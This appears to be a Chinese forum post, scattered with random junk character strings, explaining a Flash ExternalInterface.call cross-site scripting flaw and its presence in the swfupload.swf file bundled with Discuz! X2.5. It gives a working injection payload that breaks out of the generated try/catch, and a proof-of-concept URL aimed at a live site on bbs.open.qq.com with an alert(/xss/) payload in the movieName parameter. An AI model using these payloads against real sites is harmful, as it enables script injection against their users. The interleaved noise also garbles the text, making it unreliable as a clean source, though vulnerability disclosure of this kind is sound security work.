上回我们说8 S+ O$ x M# {* g% J: R
) |2 A- m( Q4 F+ o8 o. R
flash.external.ExternalInterface.call($methodName, $parameter)7 Y% ?: S, w2 j1 v) [; e, h
在浏览器中执行的是
- o( ?- D; l" y0 }) h
! z$ M7 u) b7 jtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}4 o+ F0 o: n0 y H3 S
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如, L" O1 z P0 K. K
: J* k6 J" r4 P2 s* T- F
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
. ^, V4 R* u/ l- ?/ D" E! b$methodName = a())}catch(e){alert(/xss/)}//% |. t% o) x4 ~
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。; e. N7 e4 n7 E9 O! W) H2 g
R0 N3 |6 ?) e7 U' Htry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( H* W# b5 o ~* O) V6 v) }8 v% s! X3 U* V: a
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
# C0 f& G) U: E4 @/ E( s% N杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
4 n' g' ]& z2 F6 V5 F& O: C! u- `8 C' F7 e& h* `5 a
, V; g- w5 ~0 [+ o5 ^
0 ]9 F! d Y, H$ X% i8 U& e; Q漏洞文件:upload\static\image\common\swfupload.swf
# `: R; X0 C( q3 d5 d" w7 N
% C; C) A$ w x) S5 V" K2 {: Y原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf/ `/ {8 C7 C: G" ?* K* [5 T
3 t" C3 |* L$ s6 S+ w {
; Q4 ~- i* E5 A: l8 t; \: ?- N/ W' w漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//+ ]' F: G$ a0 g. N- K
) f% a* E$ j( h2 i d
1 H; j$ \( L) v* F9 B; s. t# H. M |